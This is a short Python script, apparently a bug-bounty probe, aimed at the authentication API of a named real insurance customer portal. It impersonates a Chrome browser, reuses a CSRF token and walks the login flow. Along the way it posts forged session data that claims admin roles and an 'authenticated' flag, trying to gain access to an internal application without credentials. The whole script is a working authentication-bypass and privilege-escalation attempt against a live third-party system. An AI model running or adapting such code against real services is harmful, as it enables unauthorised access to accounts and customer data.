from curl_cffi import requests
import secrets,json
BASE='https://mein-portal.baloise.de/auth'; ID={'X-Bug-Bounty':'dwbzn'}
def show(tag,r):
 print('\n###',tag,'id',getattr(r,'toadex_exchange_id',None),'status',r.status_code)
 print({k:v for k,v in r.headers.items() if k.lower() in ['x-forward-url','location','set-cookie','www-authenticate']})
 print(r.text[:7000])
s=requests.Session(impersonate='chrome'); s.get(BASE+'/ui/app/auth/application/access',headers=ID,timeout=30)
h={**ID,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Accept':'application/json, application/vnd.api+json','Content-Type':'application/json'}
s.delete(BASE+'/rest/public/authentication/flow',headers=h,timeout=30)
r=s.post(BASE+'/rest/public/authentication/applications/portal_ao/access',headers=h,json={'location':'https://infoportal.baloise.de/api/jsonws'},timeout=30); show('start',r)
for path,body in [
 ('/rest/public/authentication/data/info/retrieve',None),
 ('/rest/public/authentication/data/edit',{'username':'bugbounty-dwbzn-'+secrets.token_hex(4),'roles':['admin','administrator','portal_ao'],'authenticated':True,'userId':'bugbounty-dwbzn'}),
 ('/rest/public/authentication/data/validate',None),
 ('/rest/public/authentication/data/continue',None),
 ('/rest/public/authentication/applications/portal_ao/access',None),
]:
 r=s.post(BASE+path,headers=h,json=body if body is not None else None,timeout=30); show(path,r)